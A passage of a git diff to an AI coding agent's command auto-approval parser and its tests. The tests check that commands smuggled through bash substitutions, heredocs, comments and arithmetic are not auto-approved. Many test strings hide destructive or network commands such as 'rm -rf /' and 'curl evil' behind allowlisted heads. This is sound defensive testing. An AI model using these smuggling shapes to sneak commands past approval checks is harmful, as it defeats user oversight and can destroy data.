+		expect(getCommandDecision("cat <<E \"a'b'#c\nbody\nE\n", ["cat"], ["rm"])).toBe("auto_approve")
+		expect(getCommandDecision('cat <<E \'a"b"#c\nbody\nE\n', ["cat"], ["rm"])).toBe("auto_approve")
+		expect(getCommandDecision('cat <<E "a\'b"#c\nbody\nE\n', ["cat"], ["rm"])).toBe("auto_approve")
+		expect(getCommandDecision("cat <<E 'a\"b'#c\nbody\nE\n", ["cat"], ["rm"])).toBe("auto_approve")
+		expect(getCommandDecision("cat <<E >(a)>(b)#c\nbody\nE\n", ["cat"], [])).toBe("ask_user")
+		expect(getCommandDecision("cat <<E >out\nbody\nE\n", ["cat"], ["rm"])).toBe("auto_approve")
+		expect(getCommandDecision("cat <<E <in\nbody\nE\n", ["cat"], ["rm"])).toBe("auto_approve")
+	})
+
+	it("decides a # riding an inner frame closer by the comment bash starts at it", () => {
+		// While an outer frame stays open, a `#` at an inner closer is frame
+		// content and bash comments the `; rm -rf /]d` tail, so an allowlisted
+		// head carries nothing the deny list names. Marking the closer at the
+		// inner pop instead keeps " #c" in the host and fabricates
+		// "rm -rf /]d" as its own segment, flipping the decision to a deny.
+		// The counterpart with the `#` at the pop that empties the frames
+		// keeps `rm -rf /` live, so it must cost the deny and the prompt.
+		expect(getCommandDecision("cat <<E $[a$(b)#c; rm -rf /]d\nbody\nE\n", ["cat", "b"], ["rm"])).toBe(
+			"auto_approve",
+		)
+		expect(getCommandDecision("cat <<E $[a$(b)#c; rm -rf /]d\nbody\nE\n", ["cat", "b"], [])).toBe("auto_approve")
+		expect(getCommandDecision("cat <<E $[a$(b)]#c; rm -rf /\nbody\nE\n", ["cat", "b"], ["rm"])).toBe("auto_deny")
+		expect(getCommandDecision("cat <<E $[a$(b)]#c; rm -rf /\nbody\nE\n", ["cat", "b"], [])).toBe("ask_user")
+	})
+
+	it("does not reject a subshell group inside a command substitution as malformed", () => {
+		// `$( (echo safe) )` is ordinary syntax that bash runs. A top-level
+		// bare `(` stays host grouping rather than a substitution payload.
+		// The extracted group starts with `(`, so it matches neither
+		// list and the decision is `ask_user`, never `malformed_command`.
+		expect(getCommandDecision("$( (echo safe) )", ["echo"])).toBe("ask_user")
+	})
+
+	it("does not auto-approve the group of a mis-nested $(( … ) … )", () => {
+		// bash runs the group inside `echo $((rm -rf /) )`, so the group must
+		// be checked on its own instead of riding the allowlisted `echo`.
+		// The extracted group starts with `(`, so neither list prefix matches
+		// it; the decision is `ask_user`, never `auto_approve`.
+		expect(getCommandDecision("echo $((rm -rf /) )", ["echo"], ["rm"])).toBe("ask_user")
+		expect(getCommandDecision("echo $((rm -rf /) )", ["echo"], [])).toBe("ask_user")
+	})
+
+	it("asks user for the payload of a >() process substitution", () => {
+		// bash runs the inner command unconditionally. Its output becomes the
+		// device file that the outer command writes to. `evil` is therefore
+		// evaluated against the lists on its own, even though the outer `cat`
+		// is allowed.
+		expect(getCommandDecision("cat >(evil)", ["cat"])).toBe("ask_user")
+	})
+
+	it("auto-approves a well-formed mid-word-quoted delimiter (no over-fire)", () => {
+		// `<<EOF'x'` closes its quote before the line end. After bash's quote
+		// removal, the terminator is the literal word EOFx. This stays a single
+		// ordinary heredoc that an allowlisted `cat` may run.
+		expect(getCommandDecision("cat <<EOF'x'\nbody\nEOFx\n", ["cat"])).toBe("auto_approve")
+	})
+
+	it("does not auto-approve a heredoc-body frame tail riding a mis-sliced group prefix", () => {
+		// bash runs `curl evil` from this body line. An allowlist that covers
+		// the host and the quoted-quote group prefix must not carry the tail.
+		// The frame keeps its full payload, `curl evil` is its own segment, and
+		// no segment matches. The decision is a prompt, never an approval.
+		expect(getCommandDecision('cat <<EOF\n$( (echo ")") ; curl evil)\nEOF', ["cat", "( echo"])).toBe("ask_user")
+	})
+
+	it("does not auto-approve the single-quoted variant of a heredoc-body frame tail", () => {
+		expect(getCommandDecision("cat <<EOF\n$( (echo ')') ; curl evil)\nEOF", ["cat", "( echo"])).toBe("ask_user")
+	})
+
+	it("does not auto-approve a heredoc-body frame tail hidden behind a comment", () => {
+		// bash skips the comment to end of line. Its `)` therefore never closes
+		// the frame, and `curl evil` really executes inside the same
+		// substitution. An allowlist that covers the host and the first inner
+		// command must not carry the tail. The tail is its own segment and
+		// costs a prompt.
+		expect(getCommandDecision("cat <<EOF\n$( echo ok # )\ncurl evil)\nEOF", ["cat", "echo"])).toBe("ask_user")
+	})
+
+	it("does not auto-approve the CRLF variant of a comment-hidden frame tail", () => {
+		// msys strips every CR while POSIX keeps it. The CRs here leave the two
+		// read layers on different bytes, so the close cannot be verified in a
+		// model-independent way. The parser fails the heredoc closed even
+		// though the models for this uniformly-CRLF input happen to agree. The
+		// decision is a rejection rather than the LF variant's prompt. Neither
+		// case is an approval.
+		expect(getCommandDecision("cat <<EOF\r\n$( echo ok # )\r\ncurl evil)\r\nEOF\r\n", ["cat", "echo"])).toBe(
+			"malformed_command",
+		)
+	})
+
+	it("does not auto-approve a frame tail behind a comment at the frame start", () => {
+		expect(getCommandDecision("cat <<EOF\n$(# ok )\ncurl evil)\nEOF", ["cat"])).toBe("ask_user")
+	})
+
+	it("fails closed when a frame comment swallows the frame's only closer", () => {
+		// bash refuses the input outright with an unterminated-command-
+		// substitution error, so no partial decomposition may carry an
+		// approval.
+		expect(getCommandDecision("cat <<EOF\n$( echo # )\nEOF", ["cat", "echo"])).toBe("malformed_command")
+	})
+
+	it("asks user for a mid-word # argument whose separator hides an unallowed tail", () => {
+		// `x=a#b` is one bash argument, because a comment starts only at a word
+		// boundary. The tail after `;` runs separately. It must not share the
+		// allowlist match of `echo`.
+		expect(getCommandDecision("cat <<EOF\n$( echo x=a#b ; curl evil )\nEOF", ["cat", "echo"])).toBe("ask_user")
+	})
+
+	it("does not auto-approve a frame tail after a quoted # region", () => {
+		// The `#` inside the quotes is literal. The frame therefore keeps its
+		// full payload, and `curl evil` splits out as an unallowed segment.
+		expect(getCommandDecision('cat <<EOF\n$( echo "a # b" ; curl evil)\nEOF', ["cat", "echo"])).toBe("ask_user")
+	})
+
+	it("does not auto-approve a tail riding after a # at a word-embedded expansion closer", () => {
+		// bash ends the expansion at `)` but not the word. The adjacent `#` is
+		// therefore word content, and `; curl evil` is a second executed
+		// command. An allowlist that covers the host and the substitution must
+		// not carry the tail. The tail is its own segment and costs a prompt.
+		expect(getCommandDecision("echo x=$(echo ok)#;curl evil", ["echo"])).toBe("ask_user")
+		expect(getCommandDecision("echo $((1))#;curl evil", ["echo"])).toBe("ask_user")
+		expect(getCommandDecision("echo x=`echo ok`#;curl evil", ["echo"])).toBe("ask_user")
+		expect(getCommandDecision("cat <(echo ok)#;curl evil", ["cat", "echo"])).toBe("ask_user")
+	})
+
+	it("does not auto-approve a tail riding after a # at the end of an escape pair", () => {
+		// bash treats an escaped character as word content. The `#` directly
+		// after the `\c` pair therefore never starts a comment, and
+		// `; curl evil` really executes. Each tail must cost a prompt, despite
+		// the `echo` allowlist. A real space before the `#` puts it at a word
+		// start instead. There bash comments the line, and the same shape stays
+		// approved.
+		expect(getCommandDecision("echo a\\)#;curl evil", ["echo"])).toBe("ask_user")
+		expect(getCommandDecision("echo a\\;#;curl evil", ["echo"])).toBe("ask_user")
+		expect(getCommandDecision("echo a\\ #;curl evil", ["echo"])).toBe("ask_user")
+		expect(getCommandDecision("echo a\\) #c;curl evil", ["echo"])).toBe("auto_approve")
+	})
 })
 
 describe("getCommandDecision — multi-line script wrapped in a quoted argument", () => {
@@ -197,6 +878,18 @@ describe("getCommandDecisionDetailed", () => {
 		expect(getCommandDecisionDetailed("   ", ["git"])).toEqual({ decision: "auto_approve" })
 	})
 
+	it("reports malformed_command for an unclosed command substitution", () => {
+		// An opened "$(" that the scanner cannot close leaves the input's
+		// structure unaccounted for. The parser reports the raw, unsplit command
+		// so that no fragment of a partial decomposition can be approved on its
+		// own.
+		const result = getCommandDecisionDetailed("echo $(whoami", ["echo"])
+
+		expect(result.decision).toBe("malformed_command")
+		expect(result.offendingCommand).toBe("echo $(whoami")
+		expect(result.parseError).toContain("command substitution")
+	})
+
 	it("returns the same decision as getCommandDecision across representative inputs", () => {
 		const cases: Array<[string, string[], string[] | undefined]> = [
 			["git status", ["git"], []],
diff --git a/src/core/auto-approval/commands.ts b/src/core/auto-approval/commands.ts
index 4d28e0fe1b..67ff91cf28 100644
--- a/src/core/auto-approval/commands.ts
+++ b/src/core/auto-approval/commands.ts
@@ -114,7 +114,21 @@ export function findLongestPrefixMatch(command: string, prefixes: string[]): str
 }
 
 /**
- * Command approval decision types
+ * Command approval decision types.
+ *
+ * `malformed_command` is the fail-closed outcome. The parser cannot fully
+ * account for the command's structure. The parser reports it for an
+ * unterminated quote or heredoc. It also reports it for an expansion
+ * delimiter ($(), ${}, backtick, <( or >() or an arithmetic expression
+ * ($(( or $[) that never closes. A stray "}" with no matching "{", a raw
+ * NUL byte, substitution nesting deeper than the re-scan depth cap, the
+ * shell tokenizer rejecting the masked command, a "${" opener joined only
+ * across a carriage-return line continuation, and a glob word inside a
+ * re-scanned substitution payload also produce this outcome. No approval
+ * may use a partial decomposition of the command.
+ * The parser does not extract substitutions inside double quotes, so an
+ * unbalanced delimiter there does not qualify. This is a parser
+ * limitation: a shell still expands `$(...)` inside double quotes.
  */
 export type CommandDecision = "auto_approve" | "auto_deny" | "ask_user" | "malformed_command"
 
@@ -136,7 +150,18 @@ export type CommandDecision = "auto_approve" | "auto_deny" | "ask_user" | "malfo
  * - `"auto_approve"`: All sub-commands are explicitly allowed and no dangerous patterns detected
  * - `"auto_deny"`: At least one sub-command is explicitly denied
  * - `"ask_user"`: Mixed or no matches found, requires user decision, or contains dangerous patterns
- * - `"malformed_command"`: Command contains an unterminated quote -- a shell syntax error that must not be auto-approved
+ * - `"malformed_command"`: The parser cannot fully account for the command's
+ *   structure. Causes: an unterminated quote or heredoc, an expansion
+ *   delimiter ($(...), ${...}, backtick, <( or >()) or arithmetic expression
+ *   ($(( or $[) that never closes, a stray "}" with no matching "{", a raw
+ *   NUL byte, substitution nesting deeper than the parser's re-scan depth
+ *   cap, the shell tokenizer rejecting the masked command, a "${" opener
+ *   joined only across a carriage-return line continuation, or a glob word
+ *   inside a re-scanned substitution payload. The parser must not approve a
+ *   command whose structure is unproven based on a partial decomposition.
+ *   Unbalanced delimiters inside double quotes stay parseable because the
+ *   parser does not extract substitutions there. A shell still expands
+ *   `$(...)` inside double quotes.
  *
  * **Examples:**
  * ```typescript
@@ -214,15 +239,20 @@ export function getCommandDecisionDetailed(
 	}
 
 	// Parse into sub-commands (split by &&, ||, ;, |). parseCommand also
-	// detects shell syntax errors (unterminated quotes, unclosed heredocs) and
-	// returns a non-null parseError in that case.
+	// detects input it cannot account for. That covers unterminated quotes
+	// or heredocs, expansion delimiters ($(), ${}, backticks, <( or >() or
+	// arithmetic expressions ($(( or $[) that never close, a stray closer,
+	// a raw NUL byte, substitution nesting that is too deep, and the shell
+	// tokenizer rejecting the masked command. In that case parseCommand
+	// returns a non-null parseError.
 	const { commands: subCommands, parseError } = parseCommand(command)
 
-	// Reject commands with a shell syntax error. An unterminated quote means
-	// the shell would report a parse error; in a compound command it may
-	// partially execute the well-formed prefix before aborting. Returning a
-	// distinct decision lets callers surface a useful message to the agent
-	// rather than silently presenting the command for user approval.
+	// Reject commands whose structure the parser cannot fully account for.
+	// The shell reports a parse error for such input. In a compound command
+	// the shell may partially execute the well-formed prefix before it
+	// stops. A distinct decision lets callers show the agent a useful
+	// message. It also avoids presenting the command silently for user
+	// approval.
 	if (parseError !== null) {
 		return { decision: "malformed_command", offendingCommand: command, parseError: parseError.message }
 	}
diff --git a/src/shared/__tests__/parse-command.spec.ts b/src/shared/__tests__/parse-command.spec.ts
index fa41d31c6c..6e7dab0475 100644
--- a/src/shared/__tests__/parse-command.spec.ts
+++ b/src/shared/__tests__/parse-command.spec.ts
@@ -1,7 +1,7 @@
-import { findUnterminatedQuote, parseCommand } from "../parse-command"
+import { parseCommand, type UnterminatedQuote } from "../parse-command"
 
-// Toggle that lets a single test force shell-quote's parse() to throw so the
-// parser's fallback branch can be exercised deterministically.
+// Toggle that lets a test force shell-quote's parse() to throw so the
+// parser's tokenizer-rejection path can be exercised deterministically.
 let forceShellQuoteFailure = false
 
 vi.mock("shell-quote", async (importOriginal) => {
@@ -10,13 +10,18 @@ vi.mock("shell-quote", async (importOriginal) => {
 		...actual,
 		parse: (...args: Parameters<typeof actual.parse>) => {
 			if (forceShellQuoteFailure) {
-				throw new Error("forced parse failure")
+				// The real library's "Bad substitution" errors embed slices of
+				// the offending input, so the throw echoes it too — letting
+				// tests prove no payload content reaches the logs.
+				throw new Error(`forced parse failure: ${String(args[0])}`)
 			}
 			return actual.parse(...args)
 		},
 	}
 })
 
+const structuralError = (command: string): UnterminatedQuote | null => parseCommand(command).parseError
+
 describe("parseCommand", () => {
 	describe("basic chaining", () => {
 		it("returns empty array for empty input", () => {
@@ -190,16 +195,101 @@ describe("parseCommand", () => {
 			forceShellQuoteFailure = false
 		})
 
-		// When shell-quote throws, the parser falls back to a crude operator
-		// split and must still restore every masked placeholder -- including the
-		// ANSI-C single-quote bucket -- so callers never see internal markers.
-		it("restores ANSI-C quoted placeholders in the fallback path", () => {
+		// When shell-quote throws, the parser cannot account for the line's
+		// structure, so the whole command fails closed: no decomposition (and
+		// therefore no approval) can rest on a split the tokenizer rejected.
+		it("fails closed instead of crude-splitting when the tokenizer throws", () => {
 			forceShellQuoteFailure = true
 
-			const { commands: result } = parseCommand("sh -c $'echo hi' && echo done")
-			expect(result).toEqual(["sh -c $'echo hi'", "echo done"])
-			expect(result.join(" ")).not.toContain("SQUOTE")
-			expect(result.join(" ")).not.toContain("__")
+			const input = "sh -c $'echo hi' && echo done"
+			const { commands: result, parseError } = parseCommand(input)
+			expect(result).toEqual([input])
+			expect(parseError?.quoteType).toBe("tokenize-failure")
+		})
+
+		it("never surfaces a substitution hidden behind a tokenizer throw as a segment", () => {
+			forceShellQuoteFailure = true
+
+			// Splitting on operators would not recurse into payloads — a
+			// substitution's inner text would ride its host word: a hidden
+			// command could match the host's allowlist prefix and auto-approve.
+			const input = "echo $(evil)"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("tokenize-failure")
+		})
+
+		// The rejected line and the tokenizer error text can both carry
+		// payload content (shell-quote embeds slices of the offending input),
+		// so the warning must stay content-free: a planted secret has to be
+		// absent from everything logged, while the fail-closed decision stands.
+		it("logs no payload content when the tokenizer throws", () => {
+			const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {})
+			forceShellQuoteFailure = true
+			try {
+				const secret = "SUPERSECRET_TOKEN_9f3k"
+				const input = `aws s3 ls --token ${secret} && echo done`
+				const { commands, parseError } = parseCommand(input)
+				// Fail-closed decision unchanged: raw input as one opaque token.
+				expect(commands).toEqual([input])
+				expect(parseError?.quoteType).toBe("tokenize-failure")
+				// The diagnostic warning still fires, exactly once, but carries
+				// neither the command line nor the error text it derived from.
+				// The positive shape pin (not just absence checks) keeps this
+				// from passing vacuously if a refactor hands warn an object:
+				// String() would then read "[object Object]" and hide content.
+				expect(warnSpy).toHaveBeenCalledTimes(1)
+				expect(warnSpy.mock.calls).toEqual([
+					[
+						expect.stringMatching(
+							/^shell-quote parse error: tokenizer rejected a \d+-character command line$/,
+						),
+					],
+				])
+				const logged = warnSpy.mock.calls.map((call) => call.map(String).join(" ")).join("\n")
+				expect(logged).not.toContain(secret)
+				expect(logged).not.toContain(input)
+				// The returned message reaches the model and the command-status
+				// UI, so it stays content-free too.
+				expect(parseError?.message).not.toContain(secret)
+				expect(parseError?.message).not.toContain(input)
+			} finally {
+				warnSpy.mockRestore()
+			}
+		})
+
+		// The tokenizer's thrown error embeds slices of the rejected line, and
+		// the nested substitution keeps the secret-bearing host text on the
+		// masked line the tokenizer sees, so the returned message must stay a
+		// fixed classification: no echo of the error, no echo of the line.
+		it("returns a content-free message when a nested substitution trips the tokenizer", () => {
+			const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {})
+			forceShellQuoteFailure = true
+			try {
+				const secret = "NESTED_SECRET_7x2q"
+				const input = `echo $(cat $(ls)) ${secret} --flag && echo done`
+				const { commands, parseError } = parseCommand(input)
+				expect(commands).toEqual([input])
+				expect(parseError?.quoteType).toBe("tokenize-failure")
+				expect(parseError?.message).toBe("Malformed command: shell tokenizer rejected the command.")
+				const logged = warnSpy.mock.calls.map((call) => call.map(String).join(" ")).join("\n")
+				expect(logged).not.toContain(secret)
+				expect(parseError?.message).not.toContain(secret)
+			} finally {
+				warnSpy.mockRestore()
+			}
+		})
+
+		it("does not warn when the tokenizer succeeds", () => {
+			const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {})
+			try {
+				const { commands, parseError } = parseCommand("git status && echo done")
+				expect(parseError).toBeNull()
+				expect(commands).toEqual(["git status", "echo done"])
+				expect(warnSpy).not.toHaveBeenCalled()
+			} finally {
+				warnSpy.mockRestore()
+			}
 		})
 	})
 
@@ -323,6 +413,32 @@ describe("parseCommand", () => {
 			expect(result).toHaveLength(2)
 			expect(result[result.length - 1]).toBe("echo world")
 		})
+
+		it("fails closed on CRLF heredocs of every delimiter form", () => {
+			// The msys read layer strips every CR in the construct. The strip
+			// reaches the delimiter word and the terminator line too. POSIX bash
+			// keeps every CR. A CR anywhere from the opener line through the
+			// closing terminator line therefore leaves the two layers reading
+			// different bytes. The close cannot then be verified in a
+			// model-independent way, so every such heredoc fails closed. This
+			// includes uniformly-CRLF heredocs whose two models agree. That is
+			// the accepted cost of never picking a model.
+			const input = "cat <<EOF\r\n$(whoami)\r\nEOF\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+			expect(structuralError("cat <<-EOF\r\n\techo C\r\n\tEOF\r\n")?.quoteType).toBe("heredoc")
+			expect(structuralError("cat <<'EOF'\r\nbody\r\nEOF\r\n")?.quoteType).toBe("heredoc")
+			expect(structuralError('cat <<"EOF"\r\nbody\r\nEOF\r\n')?.quoteType).toBe("heredoc")
+			expect(structuralError("cat <<\\EOF\r\nbody\r\nEOF\r\n")?.quoteType).toBe("heredoc")
+			// A delimiter quote left open does not end at the CR. bash spans
+			// the newline with the quote. It reads a delimiter that can never
+			// match a body line, and it keeps executing the opener line's tail.
+			// An unclosed delimiter quote therefore fails closed instead of
+			// masking the body.
+			expect(structuralError("cat <<'EOF\r\nbody\r\nEOF\r\n")?.quoteType).toBe("heredoc")
+			expect(structuralError('cat <<"EOF\r\nbody\r\nEOF\r\n')?.quoteType).toBe("heredoc")
+		})
 	})
 
 	describe("herestring (<<<)", () => {
@@ -360,8 +476,28 @@ describe("parseCommand", () => {
 		})
 
 		it("does not report an unterminated quote for a balanced herestring", () => {
-			expect(findUnterminatedQuote(`sh <<< "echo hello"`)).toBeNull()
-			expect(findUnterminatedQuote("sh <<< 'echo hello'")).toBeNull()
+			expect(structuralError(`sh <<< "echo hello"`)).toBeNull()
+			expect(structuralError("sh <<< 'echo hello'")).toBeNull()
+		})
+
+		it("scans a herestring inside a command substitution as one operator", () => {
+			// The frame scan must consume `<<<` whole. Stopping at the second
+			// `<` would hit the frame's heredoc guard and open a heredoc on
+			// `<<foo)`, so this valid input would fail closed as an unterminated
+			// heredoc instead of decomposing.
+			const { commands, parseError } = parseCommand("echo $(cat <<<foo)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "cat <<< foo"])
+		})
+
+		it("treats an input redirection glued before a herestring as two operators", () => {
+			// A herestring takes three consecutive `<`. Here `<a` is an input
+			// redirection, so the scan must not consume it as `<<<`; checking
+			// fewer than three positions would misread the next `<` as a
+			// heredoc opener and fail this valid line closed.
+			const { commands, parseError } = parseCommand("echo $(cat <a<<<foo)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "cat < a <<< foo"])
 		})
 	})
 
@@ -400,9 +536,10 @@ describe("parseCommand", () => {
 	})
 
 	describe("placeholder collision guard", () => {
-		// If the raw command literally contains the internal placeholder tokens
-		// (e.g. __QUOTE_0__) the pre-escape/post-unescape round-trip must preserve
-		// them verbatim instead of corrupting them during the masking phase.
+		// The scan's placeholders are a kind letter plus an index wrapped in NUL
+		// sentinels, and an input containing NUL is rejected before any masking,
+		// so literal text cannot collide with a placeholder. `__NAME_0__`-style
+		// text is inert word content; this round-trip pins that.
 		it("round-trips a command that contains every internal placeholder token", () => {
 			const input =
 				"echo __QUOTE_0__ __SQUOTE_0__ __REDIR_0__ __ARITH_0__ __PARAM_0__ __VAR_0__ __SUBSH_0__ __TOPLEVEL_QUOTE_0__"
@@ -410,98 +547,4400 @@ describe("parseCommand", () => {
 		})
 	})
 
-	describe("findUnterminatedQuote", () => {
+	describe("structural error reporting", () => {
 		it("returns null for balanced and quote-free input", () => {
-			expect(findUnterminatedQuote("git status")).toBeNull()
-			expect(findUnterminatedQuote("echo 'hello'")).toBeNull()
-			expect(findUnterminatedQuote('echo "hello"')).toBeNull()
-			expect(findUnterminatedQuote("sh -c 'echo a\necho b'")).toBeNull()
-			expect(findUnterminatedQuote("sh -c $'echo a\necho b'")).toBeNull()
+			expect(structuralError("git status")).toBeNull()
+			expect(structuralError("echo 'hello'")).toBeNull()
+			expect(structuralError('echo "hello"')).toBeNull()
+			expect(structuralError("sh -c 'echo a\necho b'")).toBeNull()
+			expect(structuralError("sh -c $'echo a\necho b'")).toBeNull()
 		})
 
 		it("detects an unterminated single quote and reports its opening index", () => {
-			expect(findUnterminatedQuote("echo 'hello")).toEqual(
+			expect(structuralError("echo 'hello")).toEqual(
 				expect.objectContaining({ quoteType: "posix-single", openIndex: 5 }),
 			)
 		})
 
 		it("detects an unterminated double quote and reports its opening index", () => {
-			expect(findUnterminatedQuote('echo "hello')).toEqual(
+			expect(structuralError('echo "hello')).toEqual(
 				expect.objectContaining({ quoteType: "double", openIndex: 5 }),
 			)
 		})
 
 		it("reports ansi-c style and the $ position for an unterminated ANSI-C quote", () => {
-			expect(findUnterminatedQuote("echo $'hello")).toEqual(
+			expect(structuralError("echo $'hello")).toEqual(
 				expect.objectContaining({ quoteType: "ansi-c", openIndex: 5 }),
 			)
 		})
 
 		it("treats a backslash-escaped quote outside a string as literal", () => {
 			// `echo \'` is a literal quote, not an unterminated region.
-			expect(findUnterminatedQuote("echo \\'")).toBeNull()
-			expect(findUnterminatedQuote('echo \\"')).toBeNull()
+			expect(structuralError("echo \\'")).toBeNull()
+			expect(structuralError('echo \\"')).toBeNull()
 		})
 
 		it("ignores a quote that appears inside a comment", () => {
-			expect(findUnterminatedQuote("echo hi # it's fine")).toBeNull()
+			expect(structuralError("echo hi # it's fine")).toBeNull()
 		})
 
 		it("ignores an apostrophe inside a # comment that follows a closed quoted argument", () => {
 			// A well-formed quoted argument followed by a comment whose content
 			// contains a quote character. The comment apostrophe must not open a
 			// new region.
-			expect(findUnterminatedQuote("echo 'hello' # it's a comment")).toBeNull()
-			expect(findUnterminatedQuote('echo "hello" # it\'s a comment')).toBeNull()
+			expect(structuralError("echo 'hello' # it's a comment")).toBeNull()
+			expect(structuralError('echo "hello" # it\'s a comment')).toBeNull()
 		})
 
 		it("treats # attached to a word as an ordinary character", () => {
-			expect(findUnterminatedQuote("echo foo#'bar'")).toBeNull()
-			expect(findUnterminatedQuote("echo foo#'bar")).toEqual(
+			expect(structuralError("echo foo#'bar'")).toBeNull()
+			expect(structuralError("echo foo#'bar")).toEqual(
 				expect.objectContaining({ quoteType: "posix-single", openIndex: 9 }),
 			)
 		})
 
 		it("does not let an apostrophe inside double quotes open a region", () => {
-			expect(findUnterminatedQuote(`echo "don't"`)).toBeNull()
+			expect(structuralError(`echo "don't"`)).toBeNull()
 		})
 
 		it("does not let a double quote inside single quotes open a region", () => {
-			expect(findUnterminatedQuote(`echo 'a " b'`)).toBeNull()
+			expect(structuralError(`echo 'a " b'`)).toBeNull()
 		})
 
 		it("honors backslash escapes inside double quotes", () => {
 			// The escaped quote does not close the region; the final quote does.
-			expect(findUnterminatedQuote('echo "a \\" b"')).toBeNull()
-			expect(findUnterminatedQuote('echo "a \\"')?.quoteType).toBe("double")
+			expect(structuralError('echo "a \\" b"')).toBeNull()
+			expect(structuralError('echo "a \\"')?.quoteType).toBe("double")
 		})
 
 		it("honors backslash escapes inside ANSI-C quotes", () => {
-			expect(findUnterminatedQuote("echo $'it\\'s ok'")).toBeNull()
-			expect(findUnterminatedQuote("echo $'it\\'s ok")?.quoteType).toBe("ansi-c")
+			expect(structuralError("echo $'it\\'s ok'")).toBeNull()
+			expect(structuralError("echo $'it\\'s ok")?.quoteType).toBe("ansi-c")
 		})
 
 		it("treats POSIX single quotes as opaque to backslashes", () => {
 			// Inside a POSIX single quote a backslash is literal, so the quote
 			// closes at the next apostrophe regardless of any preceding backslash.
-			expect(findUnterminatedQuote("echo 'a\\'")).toBeNull()
+			expect(structuralError("echo 'a\\'")).toBeNull()
 		})
 
 		it("reports locale style and the $ position for an unterminated locale quote", () => {
-			expect(findUnterminatedQuote('echo $"hello')).toEqual(
+			expect(structuralError('echo $"hello')).toEqual(
 				expect.objectContaining({ quoteType: "locale", openIndex: 5 }),
 			)
 		})
 
 		it("returns null for a balanced locale-quoted string", () => {
-			expect(findUnterminatedQuote('echo $"hello world"')).toBeNull()
+			expect(structuralError('echo $"hello world"')).toBeNull()
 		})
 
 		it("returns null for a balanced <<- heredoc with an indented terminator", () => {
-			// stripTabs must be true for <<- so the indented terminator line is
-			// recognized; without the fix every terminator line was unconditionally
-			// stripped of tabs, making <<- and << behave identically.
-			expect(findUnterminatedQuote("sh <<-EOF\n\techo hello\n\tEOF")).toBeNull()
+			// The <<- form alone enables tab stripping. Unconditional stripping
+			// would make << and <<- indistinguishable at the terminator.
+			expect(structuralError("sh <<-EOF\n\techo hello\n\tEOF")).toBeNull()
+		})
+	})
+
+	describe("command substitution extraction", () => {
+		// Every command substitution must be extracted with balanced-paren
+		// awareness wherever it sits, so each inner command matches the
+		// allow/deny lists on its own.
+
+		it("extracts the inner payload of a nested substitution as its own segment", () => {
+			// A non-balanced parser truncates the payload at the first ')' and hides
+			// the inner command from the lists.
+			expect(parseCommand("echo $(foo $(bar))").commands).toEqual(["echo", "foo", "bar"])
+		})
+
+		it("extracts a substitution embedded inside a parameter expansion", () => {
+			// ${x:-$(cmd)} falls back to running the substitution when x is
+			// unset, so the payload must be matched independently even though
+			// the expansion itself stays verbatim in its host segment.
+			const input = "echo ${x:-$(rm -rf ~/work)}"
+			expect(parseCommand(input).commands).toEqual([input, "rm -rf ~/work"])
+		})
+
+		it("extracts a substitution inside a parameter expansion inside a substitution", () => {
+			// Recursion: the outer $() payload is re-scanned, which finds the
+			// ${b:-$(c)} expansion and extracts c from inside it.
+			expect(parseCommand("$(a ${b:-$(c)} d)").commands).toEqual(["a ${b:-$(c)} d", "c"])
+		})
+
+		it("extracts a process substitution written inside a parameter expansion", () => {
+			// bash parses `<(` inside `${…}` as a process substitution. bash
+			// replaces it with a device path, so the inner command may run. It
+			// must match the allowlists on its own. It must not share the
+			// allowlist match of the expansion word.
+			const input = "echo ${x:-<(rm a)}"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "rm a"])
+		})
+
+		it("extracts a process substitution nested inside a command substitution", () => {
+			// bash expands `<(` inside `$(…)`. The inner command runs with the
+			// payload. It must match the allowlists on its own.
+			const { commands, parseError } = parseCommand("echo $(cat <(rm a))")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "cat", "rm a"])
+		})
+
+		it("extracts both sides of a process substitution pair", () => {
+			expect(parseCommand("diff <(sort a) <(sort b)").commands).toEqual(["diff", "sort a", "sort b"])
+		})
+
+		it("extracts a nested process substitution", () => {
+			expect(parseCommand("cat <(a <(b))").commands).toEqual(["cat", "a", "b"])
+		})
+
+		it("closes a backtick region at the next backtick (backticks do not nest)", () => {
+			// The second ` closes the first region. The third ` opens a second
+			// region. The text between the two regions stays in its host word.
+			expect(parseCommand("echo `a`b`c`").commands).toEqual(["echo", "a", "b", "c"])
+		})
+
+		it("masks arithmetic without emitting segments from inside it", () => {
+			// $((...)) and $[...] are not command substitutions. The whole
+			// arithmetic stays inside the host word. It never balances as an
+			// extraction delimiter.
+			expect(parseCommand("echo $((1+2))").commands).toEqual(["echo $((1+2))"])
+			expect(parseCommand("echo $[1+2]").commands).toEqual(["echo $[1+2]"])
+		})
+
+		it("extracts substitutions from an unquoted-delimiter heredoc body while the heredoc stays one segment", () => {
+			// The shell expands $(...) inside such bodies, so the payload must
+			// match the lists on its own. The heredoc itself stays opaque.
+			const input = "cat <<EOF\n$(whoami)\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "whoami"])
+		})
+
+		it("extracts a substitution inside a closed $((…)) as its own segment", () => {
+			// bash performs command substitutions inside $((…)) before it
+			// evaluates the arithmetic. The payload must therefore match the
+			// lists on its own. It must not share the allowlist match of the
+			// host word.
+			const input = "echo $(( $(rm -rf /) ))"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "rm -rf /"])
+		})
+
+		it("extracts a substitution inside a closed $[…] as its own segment", () => {
+			// `$[ … ]` is the deprecated arithmetic form. Like $((…)), it expands
+			// command substitutions before it evaluates. The payload must
+			// therefore match the lists on its own. It must not share the
+			// allowlist match of the host word.
+			const input = "echo $[1+$(whoami)]"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "whoami"])
+		})
+
+		it("fails closed on an unclosed $[ whose interior holds a substitution", () => {
